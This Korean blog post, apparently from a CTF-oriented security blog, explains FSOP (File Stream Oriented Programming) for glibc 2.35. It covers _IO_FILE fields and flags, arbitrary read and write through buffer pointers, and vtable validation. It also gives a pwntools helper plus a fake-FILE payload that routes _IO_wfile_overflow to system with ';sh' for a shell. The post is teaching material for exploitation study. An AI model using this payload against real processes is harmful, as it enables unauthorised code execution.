| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | |||||
| 3 | 4 | 5 | 6 | 7 | 8 | 9 |
| 10 | 11 | 12 | 13 | 14 | 15 | 16 |
| 17 | 18 | 19 | 20 | 21 | 22 | 23 |
| 24 | 25 | 26 | 27 | 28 | 29 | 30 |
| 31 |
- ROP
- 커널
- kernel exploit
- memory
- UART
- hardware hakcing
- System Management Mode
- exploit
- mr 100
- 라우터
- Slab free list poisoning
- openwrt
- Router
- tl mr 100
- Cross-cache attack
- 공유기
- Pwnable
- e
- exit handler overwrite
- Kernel
- protection ring
- fini array
- SMM
- mips
- linux ring 권한 구조
- physmap
- tp link
- 익스플로잇
- Today
- Total
haehet
FSOP 정리 본문
이번 글에서는 FSOP에 대해 정리해 보도록 하겠다. 관련 기법이나 코드 등은 glibc 2.35 기준으로 하였다.
1. _IO_FILE
_IO_FILE은 리눅스 시스템의 표준 라이브러리에서 파일 스트림을 나타내기 위한 구조체이다. 선언은 다음과 같다.
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
각 flag의 의미는 다음과 같다.
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000
2. AAW, AAR
2-1. AAW
아래와 같이 파일 구조체가 참조되기 때문에 _IO_buf_base, _IO_buf_end를 바꿔주면 된다. 근데 사실 이 기법은 별로 쓸일이 없는데 파일 구조체가 조작 가능한 상황이면 사실 aaw는 이미 얻은 경우가 대부분이기 때문이다.
read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);
2-2. AAR
aar은 aaw보다 까다롭다. 일단 인자 세팅은 다음과 같다.
write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);
내부 호출 과정에서 write가 우리가 원하는 대로 작동하려면 flag 설정을 좀 해주어야한다. 조건은 다음과 같다.
1._IO_CURRENTLY_PUTTING(0x0800)을 켜주어야 한다.
2. _IO_write_base != NULL이어야 한다.
3. _IO_IS_APPENDING(0x1000)을 켜줘야 한다.
결과적으로 flag를 0xfbad18000으로 설정하면 된다.
3. exploit
파일 구조체가 함수를 호출하는 vtable을 조작하면 우리가 원하는 함수를 실행 할 수 있다. 하지만 여기에도 보안기법이 존재하는데
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
vtable의 주소가 섹션의 크기를 넘어가면 감지를 한다. 따라서 우리가 원하는 함수를 실행하기 위해서는 vtable 내부에 있는 함수를 이용해야한다. glibc 2.35 버전부터는 예전에 애용하던 _IO_str_overflow를 사용할 수 없다. 따라서 다른 방법을 사용한다.
wjump를 이용하는 함수들과 wide data를 조작 하면 우리가 원하는 함수가 실행 가능하다. 보통 vtable 조작으로 불러오는 코드는 _IO_wfile_overflow, 아니면 _IO_wfile_underflow이다. 여기서는 _IO_wfile_overflow를 사용하는 예제를 보여주겠다.
def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):
FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
FSOP += p64(__pad5) + p32(_mode)
if _unused2 == b"":
FSOP += b"\x00"*0x14
else:
FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
FSOP += p64(vtable)
FSOP += more_append
return FSOP
다음은 내가 주로 FSOP를 할 때 가져오는 코드이다. dreamhack 풀이에서 복붙해왔는데 세밀한 조절이 힘들긴 하지만 좋은 것 같다.
FSOP = FSOP_struct(
flags=u64(b"\x01\x01\x01\x01;sh\x00"),
lock= fake_chunk+ 0x3000,
_wide_data= fake_chunk-0x10,
_markers= libc_base + libc.symbols['system'],
_unused2= p32(0) + p64(0) + p64(fake_chunk - 0x8),
vtable= libc_base + libc.symbols['_IO_wfile_jumps'] - offset,
_mode=0xFFFFFFFF
)
_IO_wfile_overflow를 호출하는 예제이다. 여기서 wide data나 offset, lock 등을 file structure를 호출하는 함수에 맞게 적절히 수정해 주면 된다.
이번 글에서는 FSOP에 대해 정리해보았다. FSOP는 한번에 대량의 aaw을 할 수 있을 때 (ex: tcache dup) 매우 좋은 것 같다. 할때마다 offset, flag 등을 점검해야 하는게 귀찮긴하지만 exit handler overwrite, stack leak -> rop랑 다르게 한번의 입력으로도 exploit trigger가 가능해서 매우 좋다. 또한 FSOP로 leak, exploit이 모두 가능하기 때문에 그 활용도 또한 무궁무진한 듯 하다.
'Pwnable' 카테고리의 다른 글
| MIPS Architecture Exploitation (0) | 2026.05.01 |
|---|---|
| tcache_perthread_struct overwriting (0) | 2026.01.26 |
| heap exploit 정리 (0) | 2025.11.05 |
| side channel attack(with assembly) (0) | 2025.10.02 |
| 프로그램 시작, 종료 과정 및 관련 취약점 분석 (0) | 2025.08.23 |
